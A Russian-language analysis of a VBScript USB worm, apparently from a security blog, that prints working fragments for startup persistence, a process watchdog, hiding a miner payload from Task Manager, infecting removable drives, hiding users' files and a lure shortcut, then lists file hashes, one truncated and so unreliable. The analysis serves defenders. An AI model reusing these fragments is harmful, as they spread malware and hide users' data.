Введение
В этой статье — разбор примитивного, но показательного USB-червя, полностью реализованного на VBScript. Несмотря на простоту языка, код демонстрирует полный набор классических техник: закрепление в системе, маскировку, контроль процессов и автоматическое заражение флешек.
Общая идея
Этот набор скриптов реализует классическую схему:
Закрепиться в системе
Следить за собственными процессами
Запускать payload только при отсутствии анализа
Отслеживать подключение USB
Копировать себя на флешку
Скрывать файлы пользователя
Подсовывать
.lnkдля дальнейшего запуска
Никаких эксплойтов — только штатные возможности Windows.
Инициализация: подавление ошибок и окружение
Практически каждый файл начинается одинаково:
On Error Resume Next
Set ws = WScript.CreateObject("WScript.Shell")
Set objws = CreateObject("Scripting.FileSystemObject")
Set objWinMgmt = GetObject("WinMgmts:Root\Cimv2")
Здесь сразу три важных момента:
On Error Resume Next— игнорирование любых ошибок, чтобы скрипт не падалWScript.Shell— работа с реестром, процессами, ярлыкамиFileSystemObject— доступ к файлам и каталогамWinMgmts— WMI, основной источник информации о системе
Это стандартный минимальный набор для VBS-вредоноса.
Определение текущего расположения
Скрипт всегда определяет, откуда он запущен:
strPath = WScript.ScriptFullName
Set objFile = objws.GetFile(strPath)
strFolder = objws.GetParentFolderName(objFile)
strPath = strFolder & "\"
Зачем это нужно:
скрипт не зависит от фиксированного пути
все дочерние файлы (
installer.vbs,WindowsServices.exe) ищутся рядомудобно для USB-распространения
Закрепление в автозагрузке
Работа с StartupApproved
Windows хранит состояние автозапуска не только в папке Startup, но и в реестре:
nkey = "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder\helper.lnk"
key = ws.RegRead(nkey)
If (Not IsEmpty(key)) Then
ws.RegWrite nkey, 2, "REG_BINARY"
End If
Что происходит:
если пользователь отключил автозапуск через Диспетчер задач
Windows помечает ярлык как disabled
скрипт насильно возвращает значение
02— «разрешено»
Это простой, но эффективный persistence.
Создание ярлыка в Startup
startupPath = ws.SpecialFolders("startup")
If Not objws.FileExists(startupPath & "\helper.lnk") Then
Set link = ws.CreateShortcut(startupPath & "\helper.lnk")
link.TargetPath = Chr(34) & strPath & "helper.vbs" & Chr(34)
link.WorkingDirectory = strPath
link.Save
End If
Здесь всё классически:
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup.lnk, а не прямой запускрабочая директория указывает на папку с другими
.vbs
Контроль процессов и самовосстановление
Скрипт постоянно опрашивает WMI:
Set colProcess = objWinMgmt.ExecQuery(
"Select * From Win32_Process where name = 'wscript.exe'"
)
Далее вызывается функция procheck:
call procheck(colProcess, "installer.vbs")
Разберём её:
sub procheck(checkme, procname)
For Each objProcess In checkme
vaprocess = objProcess.CommandLine
If InStr(vaprocess, procname) Then
Exit Sub
End If
Next
ws.Run Chr(34) & strPath & procname & Chr(34)
end sub
Логика простая, но важная:
перебираются все wscript.exe
анализируется CommandLine
если нужный
.vbsуже запущен — ничего не делаемесли нет — перезапускаем
Это примитивный watchdog.
Анти-анализ: реакция на Task Manager
Set tskProcess = objWinMgmt.ExecQuery(
"Select * From Win32_Process where name Like '%Taskmgr.exe%'"
)
Далее:
If colProcess.Count = 0 And tskProcess.Count = 0 Then
ws.Run miner, 0
ElseIf colProcess.Count > 0 And tskProcess.Count > 0 Then
For Each objProcess In colProcess
ws.Run "taskkill /PID " & objProcess.ProcessId, 0
Next
End If
Смысл:
нет Task Manager
можно запускать payload
Task Manager открыт
убиваем процессы, чтобы скрыть активность
Никакой эвристики — только проверка имени процесса.
Отслеживание USB через WMI Events
Ключевой момент — подписка на события:
Set colEvents = objWMIService.ExecNotificationQuery(
"SELECT * FROM __InstanceOperationEvent WITHIN 1
WHERE TargetInstance ISA 'Win32_LogicalDisk'"
)
Скрипт не опрашивает диски вручную — он ждёт события.
Set objEvent = colEvents.NextEvent
Проверка типа носителя:
If objEvent.TargetInstance.DriveType = 2 Then
2 = removable (USB).
Подготовка флешки
Создаётся скрытая папка:
DestFolder = device & "\WindowsServices"
objws.CreateFolder DestFolder
objDestFolder.Attributes = objDestFolder.Attributes + 39
39 = Hidden + System + ReadOnly.
Копирование файлов червя
Call moveandhide("\helper.vbs")
Call moveandhide("\installer.vbs")
Call moveandhide("\movemenoreg.vbs")
Call moveandhide("\WindowsServices.exe")
Функция:
sub moveandhide(name)
If Not objws.FileExists(DestFolder & name) Then
objws.CopyFile strFolder & name, DestFolder & "\"
Set objmove = objws.GetFile(DestFolder & name)
objmove.Attributes = objmove.Attributes + 39
End If
end sub
Таким образом флешка заражается полным комплектом.
Сокрытие файлов пользователя
Создаётся папка _:
DummyFolder = device & "\_"
objws.CreateFolder DummyFolder
objDestFolder.Attributes = objDestFolder.Attributes + 2 + 4
Все реальные файлы переносятся туда:
objws.MoveFile path & file.Name, DummyFolder & "\"
objws.MoveFolder home, DummyFolder & "\"
Для пользователя флешка выглядит пустой.
Социальная инженерия через .lnk
Set link = ws.CreateShortcut(device & "\" & devicename & ".lnk")
link.IconLocation = "%windir%\system32\SHELL32.dll, 7"
link.TargetPath = "%COMSPEC%"
link.Arguments = "/C .\WindowsServices\movemenoreg.vbs"
link.WindowStyle = 7
link.Save
Пользователь кликает «флешку» → запускается скрипт → заражение продолжается.
Вывод
VBScript давно считается устаревшим языком: он не развивается, официально вытесняется PowerShell и отключается в современных корпоративных средах. Тем не менее, данный пример наглядно показывает, почему VBS до сих пор используется в реальных вредоносных кампаниях.
Причины простые и прагматичные:
VBScript предустановлен практически во всех версиях Windows
не требует компиляции и сторонних библиотек
имеет полный доступ к WMI, реестру, файловой системе и COM
легко маскируется под «служебные» или легаси-скрипты
часто игнорируется защитными средствами как «шум»
Даже без эксплойтов, драйверов и сложной обфускации VBS позволяет реализовать:
устойчивое закрепление в системе
самовосстановление
контроль пользовательских действий
автоматическое распространение через USB-носители
Этот кейс — хороший пример того, что устаревший стек ≠ неопасный стек. Пока Windows продолжает доверять WSH, подобные скрипты будут оставаться удобным инструментом для low-cost и low-noise вредоносных операций.
Хеши файлов (IOC)
helper.vbs
MD5 : 309e4806ec5c609a33fe7f739bad2a7b
SHA-1 : 6ad97c437d533bcb8643780317d74c0549ee6b83
SHA-256 : 68afc08e23b2099bd5f67c3a5473e8fd9c1f564ee8904ec9c3206ed685d7e67f
installer.vbs
MD5 : 9ae0e85c4c4fd4f6167f45af65cc3879
SHA-1 : 65d67ea8314eea448a80ee9669a078e73453ff13
SHA-256 : 54787c33bddc0dbcfc81ff200c6234bbbfab84741531ca7a5c77009a757469